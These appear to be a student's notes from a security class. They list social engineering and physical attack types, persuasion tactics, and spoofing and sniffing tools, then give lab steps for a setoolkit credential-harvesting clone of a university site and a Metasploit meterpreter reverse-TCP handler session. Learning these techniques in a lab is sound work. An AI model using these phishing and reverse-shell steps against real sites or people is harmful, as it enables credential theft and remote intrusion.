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Class Number : 08

Date : 03 Oct 2024

**Theory part:**

**Popular Social Engineering Attack:**

1. Impersonation

2. Phishing à very popular attack

3. Whaling and vishing à send email a specific person(“the big fish”)

4. Smishing

5. Spim à spam over instant messagin (spIM)

6. Spear phishing

7. Spam

8. Eliciting information à future attaack

9. Prepending àfacebook.com@192.168.15.24

10. Identity fraud

11. Invoice scams

12. Credential hardvesting

13. Reconnaissance

14. Influence campaigns/hybrid warfare

Shoulder Surfing and Dumpster Diving

Tailgating

Hoaxes

**Physical Attack:**

1. Malicious Universal Serial Bus(USB) cable

2. Malicious flash drive

3. Card cloning

4. Skimming

Adversarial Artificial Intelligence

Supply-Chain Attack

**Reasons for Effectiveness of Social Engineering Attacks:**

1. Authority

2. Intimidation

3. Consensus/Social proof

4. Scarcity

5. Urgency

6. Familiarity/liking

7. Trust

**Spoofing: alter the source information**

1. Nemesis

2. Hping2

3. Macchanger

**Different Packet sniffing software**

1. Wireshark

2. Tcpdump

3. Airodump-ng

**Pass the Hash**

SAM file store hash type password

**#Lab part:**

sudo su

setoolkità1à2à3à2àEnterà(go another terminal)

sudo su

msfconsole

use exploit.multi/handler

use payload php/meterpreter/reverse\_tcp

<<https://iitju.org/> >

**msf6 exploit(multi/handler) > use LHOST 192.168.10.196**

[-] No results from search

[-] Failed to load module: LHOST

**msf6 exploit(multi/handler) > use LHOST 192.168.10.196**

[-] No results from search

[-] Failed to load module: LHOST

**msf6 exploit(multi/handler) > set LHOST 192.168.10.196**

LHOST => 192.168.10.196

**msf6 exploit(multi/handler) > set LHOST 192.168.10.196**

LHOST => 192.168.10.196

**msf6 exploit(multi/handler) > set LPORT 444**

LPORT => 444

**msf6 exploit(multi/handler) > exploit**

[\*] Started reverse TCP handler on 192.168.10.196:444

^C[-] Exploit failed [user-interrupt]: Interrupt

[-] exploit: Interrupted

msf6 exploit(multi/handler) >

Enter id and pass